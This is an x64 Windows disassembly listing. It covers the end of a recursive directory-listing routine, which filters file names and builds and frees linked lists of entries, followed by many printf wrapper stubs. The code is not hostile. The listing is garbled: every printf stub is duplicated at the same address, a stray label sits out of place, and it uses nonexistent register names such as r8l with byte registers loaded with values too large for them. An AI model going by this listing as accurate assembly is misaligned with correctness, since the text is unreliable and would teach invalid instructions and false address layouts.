14002261bmov [rsp+800], r8l
140022623mov [rsp+808], r9l
14002262btest rsi, rsi
14002262eje 0x14002264e
140022630test r8l, r8l
140022633setne [rsp+102]
140022638test r9l, r9l
14002263bsetne [rsp+103]
140022640cmp [rsp+102], 0
140022645je 0x140022675
140022647cmp [rsp+103], 0
14002264cje 0x140022675
14002264e
14002264eloc_14002264e:
14002264elea r9, [rip+33582]
140022655mov r8l, 1467
14002265blea rdx, [rip+41150]
140022662xor ebp, ebp
140022664lea rcx, [rip+32002]
14002266bcall printf
140022670jmp 0x140022bcd
140022675
140022675loc_140022675:
140022675mov edx, 526
14002267amov r12, [rip+40175]
140022681mov ecx, 64
140022686mov r13l, 260
14002268ccall [r12+932]
140022694mov rcx, rsi
140022697mov [rsp+64], rax
14002269ccall StringLengthW
1400226a1cmp rax, 260
1400226a7ja 0x1400226b4
1400226a9mov rcx, rsi
1400226accall StringLengthW
1400226b1mov r13l, eax
1400226b4
1400226b4loc_1400226b4:
1400226b4mov ebp, r13l
1400226b7mov rdi, [rsp+64]
1400226bclea rdx, [rsp+112]
1400226c1add rbp, rbp
1400226c4mov rcx, rbp
1400226c7rep movsb [rdi], [rsi]
1400226c9mov rcx, [rsp+64]
1400226cecall [r12+1004]
1400226d6mov [rsp+72], rax
1400226dbinc rax
1400226dejne 0x1400226f0
1400226e0mov r9, [rsp+64]
1400226e5mov r8l, 1482
1400226ebjmp 0x140022775
1400226f0
1400226f0loc_1400226f0:
1400226f0test [rsp+112], 16
1400226f5je 0x14002279b
1400226fbmov rbx, [rsp+64]
140022700lea eax, [r13-1]
140022704mov ax, [rbx+2*rax]
140022708cmp ax, 42
14002270cje 0x14002279b
140022712cmp ax, 92
140022716je 0x140022721
140022718mov [rbx+rbp], 92
14002271einc r13l
140022721
140022721loc_140022721:
140022721mov rax, [rsp+64]
140022726mov rbx, [rsp+64]
14002272blea esi, [r13+1]
14002272fmov rcx, [rsp+72]
140022734mov [rax+2*r13], 42
14002273bmov eax, esi
14002273dmov r13l, esi
140022740mov [rbx+2*rax], 0
140022746call [r12+1068]
14002274emov rcx, [rsp+64]
140022753lea rdx, [rsp+112]
140022758call [r12+1004]
140022760mov [rsp+72], rax
140022765inc rax
140022768jne 0x14002279b
14002276amov r9, [rsp+64]
14002276fmov r8l, 1501
140022775
140022775loc_140022775:
140022775lea rdx, [rip+40868]
14002277clea rcx, [rip+33298]
140022783xor r13l, r13l
140022786xor ebp, ebp
140022788call printf
14002278dmov [rsp+72], -1
140022796jmp 0x140022b6f
14002279b
14002279bloc_14002279b:
14002279bmov rax, [rip+39886]
1400227a2mov edx, 560
1400227a7mov ecx, 64
1400227accall [rax+932]
1400227b2mov rcx, [rsp+64]
1400227b7mov rbp, rax
1400227bacall StringLengthW
1400227bfmov ecx, 520
1400227c4cmp rax, 260
1400227caja 0x1400227da
1400227ccmov rcx, [rsp+64]
1400227d1call StringLengthW
1400227d6lea rcx, [rax+rax]
1400227da
1400227daloc_1400227da:
1400227dalea eax, [r13-1]
1400227demov rsi, [rsp+64]
1400227e3mov rdi, rbp
1400227e6xor r14l, r14l
1400227e9rep movsb [rdi], [rsi]
1400227ebadd rax, rax
1400227eexor r13l, r13l
1400227f1mov [rsp+104], rax
1400227f6xor eax, eax
1400227f8mov [rsp+88], rax
1400227fdlea rax, [rsp+156]
140022805mov [rsp+80], rax
14002280a
14002280aloc_14002280a:
14002280amov eax, [rsp+112]
14002280eand eax, 16
140022811setne r15b
140022815cmp [rsp+792], 0
14002281dmov [rsp+96], eax
140022821jne 0x140022837
140022823test r15b, r15b
140022826je 0x140022837
140022828cmp [rsp+800], 0
140022830je 0x140022857
140022832jmp 0x140022ad3
140022837
140022837loc_140022837:
140022837cmp [rsp+96], 0
14002283cjne 0x140022849
14002283ecmp [rsp+103], 0
140022843jne 0x140022ad3
140022849
140022849loc_140022849:
140022849cmp [rsp+96], 0
14002284emov r12, r14
140022851je 0x140022901
140022857
140022857loc_140022857:
140022857mov rcx, [rsp+80]
14002285ccall StringLengthW
140022861dec rax
140022864jne 0x140022875
140022866cmp [rsp+156], 46
14002286fje 0x140022ad3
140022875
140022875loc_140022875:
140022875mov rcx, [rsp+80]
14002287acall StringLengthW
14002287fcmp rax, 2
140022883jne 0x140022896
140022885cmp [rsp+156], 0x2e002e
140022890je 0x140022ad3
140022896
140022896loc_140022896:
140022896cmp [rsp+792], 0
14002289eje 0x1400228e9
1400228a0test r15b, r15b
1400228a3je 0x1400228e9
1400228a5mov rax, [rip+39620]
1400228acmov edx, 536
1400228b1mov ecx, 64
1400228b6call [rax+932]
1400228bcmov rsi, [rsp+64]
1400228c1mov rcx, [rsp+104]
1400228c6mov rdi, rax
1400228c9mov rdx, [rsp+80]
1400228cemov r12, rax
1400228d1rep movsb [rdi], [rsi]
1400228d3mov rcx, rax
1400228d6call StringConcatW
1400228dbtest r14, r14
1400228deje 0x1400228ee
1400228e0mov [r14+528], r12
1400228e7jmp 0x1400228f1
1400228e9
1400228e9loc_1400228e9:
1400228e9mov r12, r14
1400228ecjmp 0x1400228f1
1400228ee
1400228eeloc_1400228ee:
1400228eemov r13, r12
1400228f1
1400228f1loc_1400228f1:
1400228f1cmp [rsp+102], 0
1400228f6je 0x140022901
1400228f8test r15b, r15b
1400228fbjne 0x140022ad0
140022901
140022901loc_140022901:
140022901cmp [rsp+816], 0
14002290ajne 0x140022919
14002290c
14002290cloc_14002290c:
14002290ccmp [rsp+824], 0
140022915jne 0x140022957
140022917jmp 0x140022995
140022919
140022919loc_140022919:
140022919mov rcx, [rsp+80]
14002291ecall StringLengthW
140022923mov rcx, [rsp+816]
14002292bmov rsi, rax
14002292ecall StringLengthW
140022933cmp rsi, rax
140022936jb 0x140022ad0
14002293cmov rdx, [rsp+80]
140022941mov rcx, [rsp+816]
140022949call StringCompareIW
14002294etest eax, eax
140022950je 0x14002290c
140022952jmp 0x140022ad0
140022957
140022957loc_140022957:
140022957mov rcx, [rsp+80]
14002295ccall StringLengthW
140022961mov rcx, [rsp+824]
140022969mov rsi, rax
14002296ccall StringLengthW
140022971cmp rsi, rax
140022974jb 0x140022ad0
14002297amov rdx, [rsp+824]
140022982mov rcx, [rsp+80]
140022987call WcsStr
14002298ctest rax, rax
14002298fje 0x140022ad0
140022995
140022995loc_140022995:
140022995cmp [rsp+832], 0
14002299eje 0x140022a0c
1400229a0lea rdi, [rsp+156]
1400229a8lea r14, [rsp+112]
1400229admov rcx, rdi
1400229b0call StringLengthW
1400229b5mov rcx, [rsp+832]
1400229bdmov rsi, rax
1400229c0call StringLengthW
1400229c5cmp rsi, rax
1400229c8jb 0x140022ad0
1400229cemov rcx, rdi
1400229d1call StringLengthW
1400229d6mov rcx, [rsp+832]
1400229demov rsi, rax
1400229e1call StringLengthW
1400229e6mov rcx, [rsp+832]
1400229eemov rdx, rax
1400229f1lea rax, [rsi+22]
1400229f5sub rax, rdx
1400229f8add rax, rax
1400229fblea rdx, [r14+rax]
1400229ffcall StringCompareIW
140022a04test eax, eax
140022a06jne 0x140022ad0
140022a0c
140022a0cloc_140022a0c:
140022a0cmov rsi, [rip+39261]
140022a13mov edx, 576
140022a18mov ecx, 64
140022a1dmovzx r15l, r15b
140022a21call [rsi+932]
140022a27lea rcx, [rsp+124]
140022a2cmov rbx, rax
140022a2flea rdi, [rax+522]
140022a36mov rdx, rdi
140022a39call [rsi+1076]
140022a3fxor ecx, ecx
140022a41lea r8, [rbx+538]
140022a48mov rdx, rdi
140022a4bcall [rsi+1084]
140022a51cmp [rsp+96], 0
140022a56mov [rbx+556], r15l
140022a5dje 0x140022a67
140022a5finc [rbp+540]
140022a65jmp 0x140022a90
140022a67
140022a67loc_140022a67:
140022a67mov eax, [rsp+140]
140022a6emov edx, [rsp+144]
140022a75shl rax, 32
140022a79or rax, rdx
140022a7cmov [rbx+560], rax
140022a83inc [rbp+536]
140022a89add [rbp+544], rax
140022a90
140022a90loc_140022a90:
140022a90lea rsi, [rsp+156]
140022a98mov rdi, rbx
140022a9bmov rcx, rsi
140022a9ecall StringLengthW
140022aa3cmp [rsp+88], 0
140022aa9lea rcx, [rax+rax]
140022aadrep movsb [rdi], [rsi]
140022aafje 0x140022ac7
140022ab1mov rax, [rsp+88]
140022ab6mov [rax+568], rbx
140022abd
140022abdloc_140022abd:
140022abdmov [rsp+88], rbx
140022ac2mov r14, r12
140022ac5jmp 0x140022ad3
140022ac7
140022ac7loc_140022ac7:
140022ac7mov [rbp+528], rbx
140022acejmp 0x140022abd
140022ad0
140022ad0loc_140022ad0:
140022ad0mov r14, r12
140022ad3
140022ad3loc_140022ad3:
140022ad3mov rax, [rip+39062]
140022adamov rcx, [rsp+72]
140022adflea rdx, [rsp+112]
140022ae4call [rax+1012]
140022aeatest eax, eax
140022aecjne 0x14002280a
140022af2mov rsi, r13
140022af5mov rdi, rbp
140022af8
140022af8loc_140022af8:
140022af8test rsi, rsi
140022afbje 0x140022b67
140022afdmov rax, [rsp+832]
140022b05mov r9l, [rsp+808]
140022b0dmov rcx, rsi
140022b10mov r8l, [rsp+800]
140022b18mov edx, [rsp+792]
140022b1fmov [rsp+48], rax
140022b24mov rax, [rsp+824]
140022b2cmov [rsp+40], rax
140022b31mov rax, [rsp+816]
140022b39mov [rsp+32], rax
140022b3ecall listDir
140022b43test rax, rax
140022b46je 0x140022b5e
140022b48mov [rdi+552], rax
140022b4f
140022b4floc_140022b4f:
140022b4fmov rdi, rax
140022b52mov rax, [rax+552]
140022b59test rax, rax
140022b5cjne 0x140022b4f
140022b5e
140022b5eloc_140022b5e:
140022b5emov rsi, [rsi+528]
140022b65jmp 0x140022af8
140022b67
140022b67loc_140022b67:
140022b67cmp [rsp+72], 0
140022b6dje 0x140022b81
140022b6f
140022b6floc_140022b6f:
140022b6fmov rax, [rip+38906]
140022b76mov rcx, [rsp+72]
140022b7bcall [rax+1068]
140022b81
140022b81loc_140022b81:
140022b81mov rdi, [rsp+64]
140022b86mov ecx, 526
140022b8bxor eax, eax
140022b8drep stosb [rdi], al
140022b8fmov rsi, [rip+38874]
140022b96mov rcx, [rsp+64]
140022b9bxor ebx, ebx
140022b9dmov r12l, 536
140022ba3call [rsi+940]
140022ba9
140022ba9loc_140022ba9:
140022ba9test r13, r13
140022bacje 0x140022bcd
140022baemov r14, [r13+528]
140022bb5mov rdi, r13
140022bb8mov rcx, r12
140022bbbmov eax, ebx
140022bbdrep stosb [rdi], al
140022bbfmov rcx, r13
140022bc2mov r13, r14
140022bc5call [rsi+940]
140022bcbjmp 0x140022ba9
140022bcd
140022bcdloc_140022bcd:
140022bcdadd rsp, 712
140022bd4mov rax, rbp
140022bd7pop rbx
140022bd8pop rsi
140022bd9pop rdi
140022bdapop rbp
140022bdbpop r12
140022bddpop r13
140022bdfpop r14
140022be1pop r15
140022be3ret
1400225f0
140022be4
140022be4 // align 0x10
140022be4 // align 0x10
140022bf0
140022bf0printf:
140022bf0push rbx
140022bf1mov rbx, rcx
140022bf4mov ecx, 1
140022bf9sub rsp, 64
140022bfdmov [rsp+96], r8
140022c02lea r8, [rsp+88]
140022c07mov [rsp+88], rdx
140022c0cmov [rsp+104], r9
140022c11mov [rsp+56], r8
140022c16mov [rsp+40], r8
140022c1bcall [rip+8575]
140022c21mov r8, [rsp+40]
140022c26mov rdx, rbx
140022c29mov rcx, rax
140022c2ccall __mingw_vfprintf
140022c31add rsp, 64
140022c35pop rbx
140022c36ret
140022bf0
140022bf0printf:
140022bf0push rbx
140022bf1mov rbx, rcx
140022bf4mov ecx, 1
140022bf9sub rsp, 64
140022bfdmov [rsp+96], r8
140022c02lea r8, [rsp+88]
140022c07mov [rsp+88], rdx
140022c0cmov [rsp+104], r9
140022c11mov [rsp+56], r8
140022c16mov [rsp+40], r8
140022c1bcall [rip+8575]
140022c21mov r8, [rsp+40]
140022c26mov rdx, rbx
140022c29mov rcx, rax
140022c2ccall __mingw_vfprintf
140022c31add rsp, 64
140022c35pop rbx
140022c36ret
140022bf0
140022c37
140022c37 // align 0x10
140022c37 // align 0x10
140022c40
140022c40printf:
140022c40push rbx
140022c41mov rbx, rcx
140022c44mov ecx, 1
140022c49sub rsp, 64
140022c4dmov [rsp+96], r8
140022c52lea r8, [rsp+88]
140022c57mov [rsp+88], rdx
140022c5cmov [rsp+104], r9
140022c61mov [rsp+56], r8
140022c66mov [rsp+40], r8
140022c6bcall [rip+8495]
140022c71mov r8, [rsp+40]
140022c76mov rdx, rbx
140022c79mov rcx, rax
140022c7ccall __mingw_vfprintf
140022c81add rsp, 64
140022c85pop rbx
140022c86ret
140022c40
140022c40printf:
140022c40push rbx
140022c41mov rbx, rcx
140022c44mov ecx, 1
140022c49sub rsp, 64
140022c4dmov [rsp+96], r8
140022c52lea r8, [rsp+88]
140022c57mov [rsp+88], rdx
140022c5cmov [rsp+104], r9
140022c61mov [rsp+56], r8
140022c66mov [rsp+40], r8
140022c6bcall [rip+8495]
140022c71mov r8, [rsp+40]
140022c76mov rdx, rbx
140022c79mov rcx, rax
140022c7ccall __mingw_vfprintf
140022c81add rsp, 64
140022c85pop rbx
140022c86ret
140022c40
140022c87
140022c87 // align 0x10
140022c87 // align 0x10
140022c90
140022c90printf:
140022c90push rbx
140022c91mov rbx, rcx
140022c94mov ecx, 1
140022c99sub rsp, 64
140022c9dmov [rsp+96], r8
140022ca2lea r8, [rsp+88]
140022ca7mov [rsp+88], rdx
140022cacmov [rsp+104], r9
140022cb1mov [rsp+56], r8
140022cb6mov [rsp+40], r8
140022cbbcall [rip+8415]
140022cc1mov r8, [rsp+40]
140022cc6mov rdx, rbx
140022cc9mov rcx, rax
140022ccccall __mingw_vfprintf
140022cd1add rsp, 64
140022cd5pop rbx
140022cd6ret
140022c90
140022c90printf:
140022c90push rbx
140022c91mov rbx, rcx
140022c94mov ecx, 1
140022c99sub rsp, 64
140022c9dmov [rsp+96], r8
140022ca2lea r8, [rsp+88]
140022ca7mov [rsp+88], rdx
140022cacmov [rsp+104], r9
140022cb1mov [rsp+56], r8
140022cb6mov [rsp+40], r8
140022cbbcall [rip+8415]
140022cc1mov r8, [rsp+40]
140022cc6mov rdx, rbx
140022cc9mov rcx, rax
140022ccccall __mingw_vfprintf
140022cd1add rsp, 64
140022cd5pop rbx
140022cd6ret
140022c90
140022cd7
140022cd7 // align 0x10
140022cd7 // align 0x10
140022ce0
140022ce0printf:
140022ce0push rbx
140022ce1mov rbx, rcx
140022ce4mov ecx, 1
140022ce9sub rsp, 64
140022cedmov [rsp+96], r8
140022cf2lea r8, [rsp+88]
140022cf7mov [rsp+88], rdx
140022cfcmov [rsp+104], r9
140022d01mov [rsp+56], r8
140022d06mov [rsp+40], r8
140022d0bcall [rip+8335]
140022d11mov r8, [rsp+40]
140022d16mov rdx, rbx
140022d19mov rcx, rax
140022d1ccall __mingw_vfprintf
140022d21add rsp, 64
140022d25pop rbx
140022d26ret
140022ce0
140022ce0printf:
140022ce0push rbx
140022ce1mov rbx, rcx
140022ce4mov ecx, 1
140022ce9sub rsp, 64
140022cedmov [rsp+96], r8
140022cf2lea r8, [rsp+88]
140022cf7mov [rsp+88], rdx
140022cfcmov [rsp+104], r9
140022d01mov [rsp+56], r8
140022d06mov [rsp+40], r8
140022d0bcall [rip+8335]
140022d11mov r8, [rsp+40]
140022d16mov rdx, rbx
140022d19mov rcx, rax
140022d1ccall __mingw_vfprintf
140022d21add rsp, 64
140022d25pop rbx
140022d26ret
140022ce0
140022d27
140022d27 // align 0x10
140022d27 // align 0x10
140022d30
140022d30printf:
140022d30push rbx
140022d31mov rbx, rcx
140022d34mov ecx, 1
140022d39sub rsp, 64
140022d3dmov [rsp+96], r8
140022d42lea r8, [rsp+88]
140022d47mov [rsp+88], rdx
140022d4cmov [rsp+104], r9
140022d51mov [rsp+56], r8
140022d56mov [rsp+40], r8
140022d5bcall [rip+8255]
140022d61mov r8, [rsp+40]
140022d66mov rdx, rbx
140022d69mov rcx, rax
140022d6ccall __mingw_vfprintf
140022d71add rsp, 64
140022d75pop rbx
140022d76ret
140022d30
140022d30printf:
140022d30push rbx
140022d31mov rbx, rcx
140022d34mov ecx, 1
140022d39sub rsp, 64
140022d3dmov [rsp+96], r8
140022d42lea r8, [rsp+88]
140022d47mov [rsp+88], rdx
140022d4cmov [rsp+104], r9
140022d51mov [rsp+56], r8
140022d56mov [rsp+40], r8
140022d5bcall [rip+8255]
140022d61mov r8, [rsp+40]
140022d66mov rdx, rbx
140022d69mov rcx, rax
140022d6ccall __mingw_vfprintf
140022d71add rsp, 64
140022d75pop rbx
140022d76ret
140022d30
140022d77
140022d77 // align 0x10
140022d77 // align 0x10
140022d80
140022d80printf:
140022d80push rbx
140022d81mov rbx, rcx
140022d84mov ecx, 1
140022d89sub rsp, 64
140022d8dmov [rsp+96], r8
140022d92lea r8, [rsp+88]
140022d97mov [rsp+88], rdx
140022d9cmov [rsp+104], r9
140022da1mov [rsp+56], r8
140022da6mov [rsp+40], r8
140022dabcall [rip+8175]
140022db1mov r8, [rsp+40]
140022db6mov rdx, rbx
140022db9mov rcx, rax
140022dbccall __mingw_vfprintf
140022dc1add rsp, 64
140022dc5pop rbx
140022dc6ret
140022d80
140022d80printf:
140022d80push rbx
140022d81mov rbx, rcx
140022d84mov ecx, 1
140022d89sub rsp, 64
140022d8dmov [rsp+96], r8
140022d92lea r8, [rsp+88]
140022d97mov [rsp+88], rdx
140022d9cmov [rsp+104], r9
140022da1mov [rsp+56], r8
140022da6mov [rsp+40], r8
140022dabcall [rip+8175]
140022db1mov r8, [rsp+40]
140022db6mov rdx, rbx
140022db9mov rcx, rax
140022dbccall __mingw_vfprintf
140022dc1add rsp, 64
140022dc5pop rbx
140022dc6ret
140022d80
140022dc7
140022dc7 // align 0x10
140022dc7 // align 0x10
140022dd0
140022dd0printf:
140022dd0push rbx
140022dd1mov rbx, rcx
140022dd4mov ecx, 1
140022dd9sub rsp, 64
140022dddmov [rsp+96], r8
140022de2lea r8, [rsp+88]
140022de7mov [rsp+88], rdx
140022decmov [rsp+104], r9
140022df1mov [rsp+56], r8
140022df6mov [rsp+40], r8
140022dfbcall [rip+8095]
140022e01mov r8, [rsp+40]
140022e06mov rdx, rbx
140022e09mov rcx, rax
140022e0ccall __mingw_vfprintf
140022e11add rsp, 64
140022e15pop rbx
140022e16ret
140022dd0
140022dd0printf:
140022dd0push rbx
140022dd1mov rbx, rcx
140022dd4mov ecx, 1
140022dd9sub rsp, 64
140022dddmov [rsp+96], r8
140022de2lea r8, [rsp+88]
140022de7mov [rsp+88], rdx
140022decmov [rsp+104], r9
140022df1mov [rsp+56], r8
140022df6mov [rsp+40], r8
140022dfbcall [rip+8095]
140022e01mov r8, [rsp+40]
140022e06mov rdx, rbx
140022e09mov rcx, rax
140022e0ccall __mingw_vfprintf
140022e11add rsp, 64
140022e15pop rbx
140022e16ret
140022dd0
140022e17
140022e17 // align 0x10
140022e17 // align 0x10
140022e20
140022e20printf:
140022e20push rbx
140022e21mov rbx, rcx
140022e24mov ecx, 1
140022e29sub rsp, 64
140022e2dmov [rsp+96], r8
140022e32lea r8, [rsp+88]
140022e37mov [rsp+88], rdx
140022e3cmov [rsp+104], r9
140022e41mov [rsp+56], r8
140022e46mov [rsp+40], r8
140022e4bcall [rip+8015]
140022e51mov r8, [rsp+40]
140022e56mov rdx, rbx
140022e59mov rcx, rax
140022e5ccall __mingw_vfprintf
140022e61add rsp, 64
140022e65pop rbx
140022e66ret
140022e20
140022e20printf:
140022e20push rbx
140022e21mov rbx, rcx
140022e24mov ecx, 1
140022e29sub rsp, 64
140022e2dmov [rsp+96], r8
140022e32lea r8, [rsp+88]
140022e37mov [rsp+88], rdx
140022e3cmov [rsp+104], r9
140022e41mov [rsp+56], r8
140022e46mov [rsp+40], r8
140022e4bcall [rip+8015]
140022e51mov r8, [rsp+40]
140022e56mov rdx, rbx
140022e59mov rcx, rax
140022e5ccall __mingw_vfprintf
140022e61add rsp, 64
140022e65pop rbx
140022e66ret
140022e20
140022e67
140022e67 // align 0x10
140022e67 // align 0x10
140022e70
140022e70printf:
140022e70push rbx
140022e71mov rbx, rcx
140022e74mov ecx, 1
140022e79sub rsp, 64
140022e7dmov [rsp+96], r8
140022e82lea r8, [rsp+88]
140022e87mov [rsp+88], rdx
140022e8cmov [rsp+104], r9
140022e91mov [rsp+56], r8
140022e96mov [rsp+40], r8
140022e9bcall [rip+7935]
140022ea1mov r8, [rsp+40]
140022ea6mov rdx, rbx
140022ea9mov rcx, rax
140022eaccall __mingw_vfprintf
140022eb1add rsp, 64
140022eb5pop rbx
140022eb6ret
140022e70
140022e70printf:
140022e70push rbx
140022e71mov rbx, rcx
140022e74mov ecx, 1
140022e79sub rsp, 64
140022e7dmov [rsp+96], r8
140022e82lea r8, [rsp+88]
140022e87mov [rsp+88], rdx
140022e8cmov [rsp+104], r9
140022e91mov [rsp+56], r8
140022e96mov [rsp+40], r8
140022e9bcall [rip+7935]
140022ea1mov r8, [rsp+40]
140022ea6mov rdx, rbx
140022ea9mov rcx, rax
140022eaccall __mingw_vfprintf
140022eb1add rsp, 64
140022eb5pop rbx
140022eb6ret
140022e70
140022eb7
140022eb7 // align 0x10
140022eb7 // align 0x10
140022ec0
140022ec0printf:
140022ec0push rbx
140022ec1mov rbx, rcx
140022ec4mov ecx, 1
140022ec9sub rsp, 64
140022ecdmov [rsp+96], r8
140022ed2lea r8, [rsp+88]
140022ed7mov [rsp+88], rdx
140022edcmov [rsp+104], r9
140022ee1mov [rsp+56], r8
140022ee6mov [rsp+40], r8
140022eebcall [rip+7855]
140022ef1mov r8, [rsp+40]
140022ef6mov rdx, rbx
140022ef9mov rcx, rax
140022efccall __mingw_vfprintf
140022f01add rsp, 64
140022f05pop rbx
140022f06ret
140022ec0
140022ec0printf:
140022ec0push rbx
140022ec1mov rbx, rcx
140022ec4mov ecx, 1
140022ec9sub rsp, 64
140022ecdmov [rsp+96], r8
140022ed2lea r8, [rsp+88]
140022ed7mov [rsp+88], rdx
140022edcmov [rsp+104], r9
140022ee1mov [rsp+56], r8
140022ee6mov [rsp+40], r8
140022eebcall [rip+7855]
140022ef1mov r8, [rsp+40]
140022ef6mov rdx, rbx
140022ef9mov rcx, rax
140022efccall __mingw_vfprintf
140022f01add rsp, 64
140022f05pop rbx
140022f06ret
140022ec0
140022f07
140022f07 // align 0x10
140022f07 // align 0x10
140022f10
140022f10printf:
140022f10push rbx
140022f11mov rbx, rcx
140022f14mov ecx, 1
140022f19sub rsp, 64
140022f1dmov [rsp+96], r8
140022f22lea r8, [rsp+88]
140022f27mov [rsp+88], rdx
140022f2cmov [rsp+104], r9
140022f31mov [rsp+56], r8
140022f36mov [rsp+40], r8
140022f3bcall [rip+7775]
140022f41mov r8, [rsp+40]
140022f46mov rdx, rbx
140022f49mov rcx, rax
140022f4ccall __mingw_vfprintf
140022f51add rsp, 64
140022f55pop rbx
140022f56ret
140022f10
140022f10printf:
140022f10push rbx
140022f11mov rbx, rcx
140022f14mov ecx, 1
140022f19sub rsp, 64
140022f1dmov [rsp+96], r8
140022f22lea r8, [rsp+88]
140022f27mov [rsp+88], rdx
140022f2cmov [rsp+104], r9
140022f31mov [rsp+56], r8
140022f36mov [rsp+40], r8
140022f3bcall [rip+7775]
140022f41mov r8, [rsp+40]
140022f46mov rdx, rbx
140022f49mov rcx, rax
140022f4ccall __mingw_vfprintf
140022f51add rsp, 64
140022f55pop rbx
140022f56ret
140022f10
140022f57
140022f57 // align 0x10
140022f57 // align 0x10
140022f60
140022f60printf:
140022f60push rbx
140022f61mov rbx, rcx
140022f64mov ecx, 1
140022f69sub rsp, 64
140022f6dmov [rsp+96], r8
140022f72lea r8, [rsp+88]
140022f77mov [rsp+88], rdx
140022f7cmov [rsp+104], r9
140022f81mov [rsp+56], r8
140022f86mov [rsp+40], r8
140022f8bcall [rip+7695]
140022f91mov r8, [rsp+40]
140022f96mov rdx, rbx
140022f99mov rcx, rax
140022f9ccall __mingw_vfprintf
140022fa1add rsp, 64
140022fa5pop rbx
140022fa6ret
140022f60
140022f60printf:
140022f60push rbx
140022f61mov rbx, rcx
140022f64mov ecx, 1
140022f69sub rsp, 64
140022f6dmov [rsp+96], r8
140022f72lea r8, [rsp+88]
140022f77mov [rsp+88], rdx
140022f7cmov [rsp+104], r9
140022f81mov [rsp+56], r8
140022f86mov [rsp+40], r8
140022f8bcall [rip+7695]
140022f91mov r8, [rsp+40]
140022f96mov rdx, rbx
140022f99mov rcx, rax
140022f9ccall __mingw_vfprintf
140022fa1add rsp, 64
140022fa5pop rbx
140022fa6ret
140022f60
140022fa7
140022fa7 // align 0x10
140022fa7 // align 0x10
140022fb0
140022fb0printf:
140022fb0push rbx
140022fb1mov rbx, rcx
140022fb4mov ecx, 1
140022fb9sub rsp, 64
140022fbdmov [rsp+96], r8
140022fc2lea r8, [rsp+88]
140022fc7mov [rsp+88], rdx
140022fccmov [rsp+104], r9
140022fd1mov [rsp+56], r8
140022fd6mov [rsp+40], r8
140022fdbcall [rip+7615]
140022fe1mov r8, [rsp+40]
140022fe6mov rdx, rbx
140022fe9mov rcx, rax
140022feccall __mingw_vfprintf
140022ff1add rsp, 64
140022ff5pop rbx
140022ff6ret
140022fb0
140022fb0printf:
140022fb0push rbx
140022fb1mov rbx, rcx
140022fb4mov ecx, 1
140022fb9sub rsp, 64
140022fbdmov [rsp+96], r8
140022fc2lea r8, [rsp+88]
140022fc7mov [rsp+88], rdx
140022fccmov [rsp+104], r9
140022fd1mov [rsp+56], r8
140022fd6mov [rsp+40], r8
140022fdbcall [rip+7615]
140022fe1mov r8, [rsp+40]
140022fe6mov rdx, rbx
140022fe9mov rcx, rax
140022feccall __mingw_vfprintf
140022ff1add rsp, 64
140022ff5pop rbx
140022ff6ret
140022fb0
140022ff7
140022ff7 // align 0x10
140022ff7 // align 0x10
140023000
140023000printf:
140023000push rbx
140023001mov rbx, rcx
140023004mov ecx, 1
140023009sub rsp, 64
14002300dmov [rsp+96], r8
140023012lea r8, [rsp+88]
140023017mov [rsp+88], rdx
14002301cmov [rsp+104], r9
140023021mov [rsp+56], r8
140023026mov [rsp+40], r8
14002302bcall [rip+7535]
140023031mov r8, [rsp+40]
140023036mov rdx, rbx
140023039mov rcx, rax
14002303ccall __mingw_vfprintf
140023041add rsp, 64
140023045pop rbx
140023046ret
140023000
140023000printf:
140023000push rbx
140023001mov rbx, rcx
140023004mov ecx, 1
140023009sub rsp, 64
14002300dmov [rsp+96], r8
140023012lea r8, [rsp+88]
140023017mov [rsp+88], rdx
14002301cmov [rsp+104], r9
140023021mov [rsp+56], r8
140023026mov [rsp+40], r8
14002302bcall [rip+7535]
140023031mov r8, [rsp+40]
140023036mov rdx, rbx
140023039mov rcx, rax
14002303ccall __mingw_vfprintf
140023041add rsp, 64
140023045pop rbx
140023046ret
140023000
140023047
140023047 // align 0x10
140023047 // align 0x10
140023050
140023050printf:
140023050push rbx
140023051mov rbx, rcx
140023054mov ecx, 1
140023059sub rsp, 64
14002305dmov [rsp+96], r8
140023062lea r8, [rsp+88]
140023067mov [rsp+88], rdx
14002306cmov [rsp+104], r9
140023071mov [rsp+56], r8
140023076mov [rsp+40], r8
14002307bcall [rip+7455]
140023081mov r8, [rsp+40]
140023086mov rdx, rbx
140023089mov rcx, rax
14002308ccall __mingw_vfprintf
140023091add rsp, 64
140023095pop rbx
140023096ret
140023050
140023050printf:
140023050push rbx
140023051mov rbx, rcx
140023054mov ecx, 1
140023059sub rsp, 64
14002305dmov [rsp+96], r8
140023062lea r8, [rsp+88]
140023067mov [rsp+88], rdx
14002306cmov [rsp+104], r9
140023071mov [rsp+56], r8
140023076mov [rsp+40], r8
14002307bcall [rip+7455]
140023081mov r8, [rsp+40]
140023086mov rdx, rbx
140023089mov rcx, rax
14002308ccall __mingw_vfprintf
140023091add rsp, 64
140023095pop rbx
140023096ret
140023050
140023097
140023097 // align 0x10
140023097 // align 0x10
1400230a0
1400230a0printf:
1400230a0push rbx
1400230a1mov rbx, rcx
1400230a4mov ecx, 1
1400230a9sub rsp, 64
1400230admov [rsp+96], r8
1400230b2lea r8, [rsp+88]
1400230b7mov [rsp+88], rdx
1400230bcmov [rsp+104], r9
1400230c1mov [rsp+56], r8
1400230c6mov [rsp+40], r8
1400230cbcall [rip+7375]
1400230d1mov r8, [rsp+40]
1400230d6mov rdx, rbx
1400230d9mov rcx, rax
1400230dccall __mingw_vfprintf
1400230e1add rsp, 64
1400230e5pop rbx
1400230e6ret
1400230a0
1400230a0printf:
1400230a0push rbx
1400230a1mov rbx, rcx
1400230a4mov ecx, 1
1400230a9sub rsp, 64
1400230admov [rsp+96], r8
1400230b2lea r8, [rsp+88]
1400230b7mov [rsp+88], rdx
1400230bcmov [rsp+104], r9
1400230c1mov [rsp+56], r8
1400230c6mov [rsp+40], r8
1400230cbcall [rip+7375]
1400230d1mov r8, [rsp+40]
1400230d6mov rdx, rbx
1400230d9mov rcx, rax
1400230dccall __mingw_vfprintf
1400230e1add rsp, 64
1400230e5pop rbx
1400230e6ret
1400230a0
1400230e7
1400230e7 // align 0x10
1400230e7 // align 0x10
1400230f0
1400230f0printf:
1400230f0push rbx
1400230f1mov rbx, rcx
1400230f4mov ecx, 1
1400230f9sub rsp, 64
1400230fdmov [rsp+96], r8
140023102lea r8, [rsp+88]
140023107mov [rsp+88], rdx
14002310cmov [rsp+104], r9
140023111mov [rsp+56], r8
140023116mov [rsp+40], r8
14002311bcall [rip+7295]
140023121mov r8, [rsp+40]
140023126mov rdx, rbx
140023129mov rcx, rax
14002312ccall __mingw_vfprintf
140023131add rsp, 64
140023135pop rbx
140023136ret
1400230f0
1400230f0printf:
1400230f0push rbx
1400230f1mov rbx, rcx
1400230f4mov ecx, 1
